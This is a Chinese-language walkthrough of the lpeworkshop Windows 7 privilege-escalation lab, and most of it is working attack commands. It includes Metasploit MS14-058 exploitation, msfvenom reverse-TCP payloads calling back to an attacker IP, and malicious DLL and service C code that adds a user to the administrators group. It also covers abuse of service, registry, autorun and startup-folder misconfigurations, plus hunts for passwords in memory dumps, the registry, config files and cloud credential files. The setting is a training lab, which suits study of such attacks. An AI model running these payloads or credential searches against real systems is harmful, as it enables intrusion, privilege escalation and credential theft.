lpeworkshop 提權實驗 - windows#
實驗環境項目地址: https://github.com/sagishahar-zz/lpeworkshop
windows 實驗的前提,需要先自己準備一個 Windows 7 (SP1) x64 Build 7601 的英文操作系統,原作者所有的實驗都基於此操作系統。
1、安裝完成後啟動。
2、建一個擁有管理員權限的帳號並登錄。(在操作系統安裝時,建立的用戶就具有管理員權限)
3、刪除操作系統上的 user 用戶。
4、將安裝腳本(lpe_windows_setup.bat)放到可寫位置,這一步主要是配置漏洞環境。
5、右鍵單擊安裝腳本(lpe_windows_setup.bat)並以管理員身份運行。
6、重新啟動虛擬機。
7、將工具拷貝至虛擬機(此時以 user 用戶身份登錄,user/password321),解壓。Windows 練習工具(7z 存檔密碼:lpeworkshop)
8、現在,所有設置都完成了,可以開始實驗了。
#基本命令
systeminfo
hostname
#我是哪個?
whoami
echo %username%
#在這台伺服器上有哪些用戶/用戶組
net user
net localgroup
#查看某個用戶擁有的權限
net user user
#網路
ipconfig /all
route print
arp -A
練習 1:內核漏洞提權#
1、打開 powershell,輸入下面的命令,找到工具包中的 sherlock 腳本,通過 import-module 導入模組。
powershell -nop -ep bypass
導入成功後,運行 Find-AllVulns。
看到一個 TrackPopupMenu Win32k Null Pointer Dereference 漏洞,是 MS14-058 漏洞,詳情如下:
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable
直接找到 MS14-058 的 exp 進行利用。
運行 CVE-2014-4113-Exploit 裡面的 Win64.exe 文件。
也可以通過 msfconsole 的內置模組進行提權,前提是需要獲取到一個 meterpreter session 模組。
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > show targets
...targets...
msf exploit(ms14_058_track_popup_menu) > set TARGET <target-id>
msf exploit(ms14_058_track_popup_menu) > show options
...show and set options...
msf exploit(ms14_058_track_popup_menu) > exploit
kali msfvenom 生成反彈 shell 的 payload。
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.199.232 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
並啟動 msfconsole 進行監聽。
# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost 192.168.199.232
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit -j
生成完成後,拷貝至 win7 虛擬機,運行。
開始進行提權。
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set target 1
target => 1
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set session 2
session => 2
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lhost 192.168.199.232
lhost => 192.168.199.232
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lport 4455
lport => 4455
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.199.232:4455
[*] Launching notepad to host the exploit...
[+] Process 1768 launched.
[*] Reflectively injecting the exploit DLL into 1768...
[*] Injecting exploit into 1768...
[*] Exploit injected. Injecting payload into 1768...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 3 opened (192.168.199.232:4455 -> 192.168.199.108:49194) at 2021-08-03 02:14:26 -0400
C:\Windows\system32>whoami
whoami
nt authority\system
實驗結束。
練習 2:Services (binPath)#
首先看下當前用戶所屬的用戶組。
AccessChk 的功能主要是獲取用戶對某個資源(包括文件,目錄,註冊表項,全局對象和 Windows 服務)的權限。
通過上圖我們注意到當前的 user 用戶擁有 SERVICE_CHANGE_CONFIG 的權限,表示當前用戶擁有修改配置的權限。通過下面的命令可以查看當前用戶擁有的權限。
accesschk64.exe /accepteula -uwcqv user *
既然當前用戶擁有修改配置的權限,那麼就需要用到 sc 命令,sc 命令是一個管理 windows 服務的命令。
接下來就需要利用 sc 命令去配置一個 exe 作為服務啟動。
sc config daclsvc binpath= "net localgroup administrators user /add"
sc start daclsvc
練習 3:Services (DLL Hijacking)#
dll 劫持是一種利用 windows 應用程序搜索和加載動態鏈接庫(DLL)的方式將惡意代碼注入應用程序的方法。
通過替換正常的 dll 文件,優先提高惡意 dll 文件的搜索順序,載入惡意的 dll 文件,類似於 linux 下的環境變量,不同的加載順序加載的內容不一樣。
C:\Program Files\DLL Hijack Service\dllhijackservice.exe
此時的 user 用戶不屬於管理員組。
打開 process monitor 進程監視工具。
搜索是否運行了 C:\Program Files\DLL Hijack Service\dllhijackservice.exe 文件,通過下面的圖片可以看到並未運行。
在 process monitor 中按 ctrl+h 快捷鍵,打開高亮過濾器,選擇 result,輸入 NAME NOT FOUND,進行查詢。
此時如果雙擊運行 dllhijackservice.exe 文件,就會有一些高亮的參數,也就是 NAME NOT FOUND 的參數,其中有一些關於 dll 參數的內容。
下面我們找到工具箱中的 windows_dll.c 文件。
將 windows_dll.c 文件複製到 kali 中進行編譯,windows_dll.c 內容如下:
$ cat windows_dll.c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
修改為:
$ cat windows_dll.c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
通過下述命令進行編譯:
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
開始編譯報錯如下,說明缺少模組,直接安裝即可:
解決報錯:
sudo apt-get install gcc-mingw-w64-x86-64
將生成的 dll 文件拷貝至 c:/tmp 目錄下,並查看環境變量,可以發現 c:/tmp 目錄。
將 dll 文件命名為 hijackme.dll,為什麼要命名成 hijackme.dll 呢?這是因為 dllhijackservice.exe 程序在運行後,會加載 hijackmd.dll 文件,dll 的加載順序如下:
打開 cmd 窗口,輸入如下命令:
sc stop dllsvc
sc start dllsvc
此時,當前用戶 user 已在管理員組中。
練習 4:Services (Unquoted Path)#
sc qc unquotedsvc
accesschk64.exe "C:\Program Files\Unquoted Path Service\"
net user user
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
sc start unquotedsvc
練習 5:Services (Registry)#
NT Authority\SYSTEM 又稱 LocalSystem 帳戶是內置的 Windows 帳戶。 它是 Windows 本地實例上功能最強大的帳戶(比任何管理員帳戶都更強大)。 大多數系統級別(Windows Services)服務和其他一些第三方服務都在帳戶中運行
NT Authority \ SYSTEM 是 Builtin\Administrator 是系統管理員之一
NT AUTHORITY\INTERACTIVE:交互式用戶是當前登錄到運行 COM 伺服器的計算機的用戶。 如果將身份設置為交互式用戶,並且伺服器將其類工廠註冊為多用途,則所有客戶端都將使用伺服器的同一實例。
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
生成惡意的偽造 payload,找到工具箱中的 source 目錄下 windows_service.c 文件,拷貝至 kali 進行編譯。
修改 windows_service.c 的 system 中的命令,如下:
開始進行編譯
x86_64-w64-mingw32-gcc windows_service.c -o regi.exe
將生成的 regi.exe 文件拷貝至虛擬機 c:\Temp 目錄下,添加註冊表信息。
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\regi.exe /f
用 sc.exe 開啟服務。
sc.exe start regsvc
練習 6:Services (Executable File)#
漏洞利用:
sc create lol binPath= "c:\executable.exe"
sc start lol
實際案例:
C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Accesschk>accesschk64.exe -wvu "c:\Pro
gram Files\File Permissions Service"
sc qc filepermsvc
漏洞利用,拷貝練習 4 中編譯的 exe 文件,複製到 c:\Pro
gram Files\File Permissions Service 目錄下。
cp /y C:\Temp\regi.exe 'C:\Program Files\File Permissions Service\filepermservice.exe'
開啟服務
sc.exe start filepermsvc
練習 7:Registry (Autorun)#
通過 autoruns 工具尋找開啟啟動項。
啟動項目錄下的文件具有任意讀寫的權限。
>accesschk64.exe "c:\Program Files\Autorun Program\program.exe"
>accesschk64.exe -wvu "c:\Program Files\Autorun Program\program.exe"
切換到 kali 攻擊機器。
生成 payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe
將 payload 拷貝至虛擬機的自啟動目錄下。
登出虛擬機。
logoff
當下次管理員登錄的時候,自啟動程序就會運行,msfconsole 即可監聽到會話。
練習 8:Registry (AlwaysInstallElevated)#
發現漏洞
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated 是一項功能,可為 Windows 計算機上的所有用戶(特別是低特權用戶)提供運行任何具有提升特權的 MSI 文件的功能。 MSI 是基於 Microsoft 的安裝程序軟件包文件格式,用於安裝,存儲和刪除程序。
通過 msf 的模組進行提權,首先先獲取一個普通的 meterpreter。
提權。
練習 9:Password Mining (Memory)#
創建內存 dump 文件
strings iexplore2.DMP | grep "Authorization: Basic"
echo "xxxx==" | base64 -d
練習 10:Password Mining (Registry)#
有很多配置信息會直接寫在註冊表中,通過註冊表查找敏感信息。
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKCU\Software\TightVNC\Server /v password
reg query HKCU\Software\TightVNC\Server /v passwordViewOnly
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\BWP123F42" /v ProxyPassword
vnc
C:\>"c:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\vncpwd\vncpwd.exe" EC84DB8BE7861E
4D
練習 11:Password Mining (Configuration Files)#
#在txt、xml、ini文件中查找password
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
#在配置文件中尋找下面的字符串
dir /s *pass* == *cred* == *vnc* == *.config*
# 在所有文件中尋找含有password字段的文件
findstr /spin "password" *.*
findstr /spin "password" *.*
dir /b /a /s c:\ > c:\temp\c-dirs.txt
type c:\temp\c-dirs.txt | findstr /i passw(vnc,ssh...)
進入到相應的目錄,輸入上述命令。
findstr /si password *.xml > c:\Temp\1.txt
macfee 殺毒軟件的密碼,是一串字符,這串字符可以使用工具去解密。
以下文件中也存在相關敏感信息:
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
# 搜索這些文件
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
# 其他一些敏感文件
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\credentials
.azure\accessTokens.json
.azure\azureProfile.json
gcloud\credentials.db
gcloud\legacy_credentials
gcloud\access_tokens.db
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
練習 12:Hot Potato#
查看 user 用戶信息,不再管理員組.
powershell -ep bypass -nop
Import-Module .\Tater.ps1
PS C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Tater> Invoke-Tater -Trigger 1 -Com
mand "net localgroup administrators user /add"
練習 13:Scheduled Tasks (Missing Binary)#
任務計劃
kali 生成 payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe
拷貝至 c:\Missing Scheduled Binary\ 目錄下。
練習 14:Startup Applications#
Startup 目錄是 windows 開啟自啟動文件夾,只要將惡意文件放到這個目錄,操作系統啟動時會自動啟動 Startup 的程序。
查看 user 用戶的權限
icacls "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.133 -f exe -o x.exe
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
退出 windows 重新登錄,msf 就可以獲取到會話。
logoff
這一系列實驗都是關於在 windows 下面的提權實驗,通過這些實驗,可以理解在 windows 下怎樣去提升權限並獲取一些敏感信息,如帳號密碼等,windows 的提權很多都是利用操作系統層面的漏洞提權,平常用 CS 的插件提權比較多。